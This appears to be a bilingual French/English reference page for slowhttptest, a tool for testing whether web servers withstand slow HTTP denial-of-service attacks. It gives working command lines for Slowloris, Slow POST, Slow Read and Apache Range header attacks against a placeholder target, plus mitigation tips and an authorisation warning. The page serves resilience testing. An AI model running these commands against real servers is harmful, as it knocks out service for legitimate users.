← retour aux outils back to tools

# slowhttptest

Outil de test d'attaque DoS HTTP lent. Simule des attaques Slowloris, Slow POST, Slow Read et RANGE header pour tester si des serveurs web sont vulnérables aux attaques de déni de service HTTP lent. Slow HTTP DoS attack testing tool. Simulates Slowloris, Slow POST, Slow Read, and RANGE header attacks to test if web servers are vulnerable to slow HTTP denial-of-service attacks.

↗ https://github.com/shekyan/slowhttptest

## Overview

slowhttptest implements multiple slow HTTP DoS attack vectors: Slowloris (slow headers), Slow POST (slow body), Slow Read (slow consumption of responses), and Apache Range header attacks. Used to test whether web servers have appropriate mitigations configured.

## Basic Usage

Slowloris attack (slow headers)

    slowhttptest -c 1000 -H -g -o output -i 10 -r 200 -t GET -u http://target.com -x 24 -p 3

Slow POST attack

    slowhttptest -c 1000 -B -g -o output -i 110 -r 200 -s 8192 -t POST -u http://target.com/form -x 10 -p 3

Slow Read attack

    slowhttptest -c 1000 -X -g -o output -i 1 -r 200 -u http://target.com -p 3 -l 300

Range header attack (Apache killer)

    slowhttptest -c 1000 -R -g -o output -i 1 -r 200 -u http://target.com

## Attack Modes

-H Slowloris — sends incomplete HTTP headers slowly Keeps connections open by never completing the request

    slowhttptest -c 500 -H -u http://target.com -i 10 -r 100 -t GET -x 24 -p 3

-B Slow POST — sends POST body very slowly Works against form-processing endpoints

    slowhttptest -c 500 -B -u http://target.com/login -i 110 -r 100 -t POST -x 10 -p 3

-X Slow Read — reads response data very slowly Exhausts server send buffers

    slowhttptest -c 500 -X -u http://target.com -i 1 -r 100 -p 3

-R Range Header — Apache Range header DoS

    slowhttptest -c 500 -R -u http://target.com -i 1 -r 100 -p 3

## Options Reference

    -c N    Connections count (default: 50)
    -d P    Proxy host:port
    -e P    Proxy credentials (login:password)
    -H      Slowloris mode
    -B      Slow POST mode
    -X      Slow Read mode
    -R      Range Header mode
    -g      Generate CSV/HTML report
    -o FILE Output file name (no extension)
    -i N    Interval between follow-up data (seconds)
    -r N    Connections per second
    -s N    POST body size (bytes)
    -t VERB HTTP verb (GET/POST)
    -u URL  Target URL
    -x N    Max length of follow-up data (bytes)
    -p N    Timeout to wait for HTTP response (seconds)
    -l N    Test duration (seconds)

## Report Generation

Generate HTML report with stats graph

    slowhttptest -c 1000 -H -g -o slowtest -u http://target.com -i 10 -r 200 -t GET -x 24 -p 3

    # Creates:
    # slowtest.html  — visual report with connection graph
    # slowtest.csv   — raw data

## Tips

- This tool tests the server’s resilience — use only on systems you own or have permission to test
- Successful attacks will cause legitimate users to get 503 errors — test in maintenance windows
- Nginx is generally resilient; Apache httpd (older) is more vulnerable
- Mitigations: connection limits, request timeouts, `mod_reqtimeout` (Apache), rate limiting
- Test with lower `-c` values first to avoid disrupting production unexpectedly

Help / Man page

    slowhttptest [options]

    -c N     Total connections (default: 50)
    -H       Slowloris mode
    -B       Slow POST mode
    -X       Slow Read mode
    -R       Range Header mode
    -u URL   Target URL
    -g       Generate report
    -o FILE  Output file (no extension)
    -i N     Interval (seconds)
    -r N     Connections/second
    -t VERB  HTTP method
    -x N     Max data length
    -p N     Response timeout
    -l N     Duration (seconds, 0=unlimited)

## Vue d’ensemble

slowhttptest implémente plusieurs vecteurs d’attaque DoS HTTP lent : Slowloris (en-têtes lents), Slow POST (corps lent), Slow Read (consommation lente des réponses), et attaques Range header Apache. Utilisé pour tester si les serveurs web disposent de mitigations correctement configurées.

## Utilisation de base

    # Attaque Slowloris (en-têtes lents)
    slowhttptest -c 1000 -H -g -o output -i 10 -r 200 -t GET -u http://target.com -x 24 -p 3

    # Attaque Slow POST
    slowhttptest -c 1000 -B -g -o output -i 110 -r 200 -s 8192 -t POST -u http://target.com/form -x 10 -p 3

    # Attaque Slow Read
    slowhttptest -c 1000 -X -g -o output -i 1 -r 200 -u http://target.com -p 3 -l 300

    # Attaque Range header (Apache killer)
    slowhttptest -c 1000 -R -g -o output -i 1 -r 200 -u http://target.com

## Modes d’attaque

    # -H  Slowloris : envoie des en-têtes HTTP incomplets lentement. Garde les connexions ouvertes en ne complétant jamais la requête
    slowhttptest -c 500 -H -u http://target.com -i 10 -r 100 -t GET -x 24 -p 3

    # -B  Slow POST : envoie le corps POST très lentement. Fonctionne contre les endpoints de traitement de formulaire
    slowhttptest -c 500 -B -u http://target.com/login -i 110 -r 100 -t POST -x 10 -p 3

    # -X  Slow Read : lit les données de réponse très lentement. Épuise les buffers d'envoi du serveur
    slowhttptest -c 500 -X -u http://target.com -i 1 -r 100 -p 3

    # -R  Range Header : DoS via l'en-tête Range d'Apache
    slowhttptest -c 500 -R -u http://target.com -i 1 -r 100 -p 3

## Référence des options

    -c N    Connections count (default: 50)
    -d P    Proxy host:port
    -e P    Proxy credentials (login:password)
    -H      Slowloris mode
    -B      Slow POST mode
    -X      Slow Read mode
    -R      Range Header mode
    -g      Generate CSV/HTML report
    -o FILE Output file name (no extension)
    -i N    Interval between follow-up data (seconds)
    -r N    Connections per second
    -s N    POST body size (bytes)
    -t VERB HTTP verb (GET/POST)
    -u URL  Target URL
    -x N    Max length of follow-up data (bytes)
    -p N    Timeout to wait for HTTP response (seconds)
    -l N    Test duration (seconds)

## Génération de rapport

    # Générer un rapport HTML avec graphique de statistiques
    slowhttptest -c 1000 -H -g -o slowtest -u http://target.com -i 10 -r 200 -t GET -x 24 -p 3

    # Crée :
    # slowtest.html  : rapport visuel avec graphique de connexions
    # slowtest.csv   : données brutes

## Conseils

- Cet outil teste la résilience du serveur : à utiliser uniquement sur des systèmes que vous possédez ou que vous êtes autorisé à tester
- Les attaques réussies causent des erreurs 503 pour les utilisateurs légitimes : tester en fenêtre de maintenance
- Nginx est généralement résilient ; Apache httpd (versions anciennes) est plus vulnérable
- Mitigations : limites de connexion, timeouts de requête, `mod_reqtimeout` (Apache), rate limiting
- Tester d’abord avec des valeurs `-c` plus basses pour éviter de perturber la production de manière inattendue

Aide / Page de manuel

    slowhttptest [options]

    -c N     Total connections (default: 50)
    -H       Slowloris mode
    -B       Slow POST mode
    -X       Slow Read mode
    -R       Range Header mode
    -u URL   Target URL
    -g       Generate report
    -o FILE  Output file (no extension)
    -i N     Interval (seconds)
    -r N     Connections/second
    -t VERB  HTTP method
    -x N     Max data length
    -p N     Response timeout
    -l N     Duration (seconds, 0=unlimited)